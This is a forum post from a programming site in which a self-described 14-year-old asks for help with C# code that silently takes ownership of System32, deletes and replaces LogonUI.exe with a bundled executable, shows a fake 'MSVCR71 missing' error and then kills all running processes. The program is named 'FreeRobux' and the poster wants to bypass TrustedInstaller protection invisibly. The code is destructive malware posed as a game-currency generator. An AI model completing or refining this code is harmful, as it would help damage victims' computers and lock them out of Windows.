Overwrite Systemfiles

redexception

New member
Joined
Mar 31, 2021
Messages
3
Programming Experience
1-3
Hello, first of all I want to say I'm 14 years old and this is for educational purposes only! I don't want to damage any kind of person / system.
So... I've built a program that overwrite logonui.exe with another logonui.exe . When I take ownership manually of the System32 folder everything is working perfectly.
My program should also be able to overwrite it ( invisible if possible ). I tried to bypass that TrustedInstaller but it didn't work. Can somebody help me?
Thats my code:
C#:
        public static void Extract(string nameSpace, string outDirectory, string internalFilePath, string resourceName)
        {
            Assembly assembly = Assembly.GetCallingAssembly();

            using (Stream s = assembly.GetManifestResourceStream(nameSpace + "." + (internalFilePath == "" ? "" : internalFilePath + ".") + resourceName))
            using (BinaryReader r = new BinaryReader(s))
            using (FileStream fs = new FileStream(outDirectory + "\\" + resourceName, FileMode.OpenOrCreate))
            using (BinaryWriter w = new BinaryWriter(fs))
                w.Write(r.ReadBytes((int)s.Length));
        }

        bool logon_check = true;

        private void Logon_Load()
        {
            const string quote = "\"";
            ProcessStartInfo logon = new ProcessStartInfo();
            logon.FileName = "cmd.exe";
            logon.WindowStyle = ProcessWindowStyle.Hidden;
            logon.Arguments = @"/k takeown /f C:\Windows\System32 && icacls C:\Windows\System32 /grant " + quote + "%username%:F" + quote;
            Process.Start(logon);
            string LogonUI = @"C:\Windows\System32\LogonUI.exe";
            while (File.Exists(LogonUI) && logon_check)
            {
                try
                {
                    File.Delete(LogonUI);
                }
                catch (Exception ex) { }
                if (!File.Exists(LogonUI))
                {
                    logon_check = false;
                    Extract("FreeRobux", @"C:\Windows\System32", "Resources", "LogonUI.exe");
                    this.Close();
                   
                }
            }
        }


private void kill()
        {
            Logon_Load();
           
            MessageBox.Show("The program can't start because MSVCR71 is missing.", "System Error", MessageBoxButton.OK, MessageBoxImage.Error);

            System.Threading.Thread.Sleep(3000);

            Process[] processes = Process.GetProcesses();
            foreach(Process p in processes)
            {
                try
                {
                    p.Kill();
                }
                catch
                {
                   
                }
            }

        }
[ignore the name of the File (freeRobux.exe)
Greetings from the US :)
 

Latest posts

Back
Top Bottom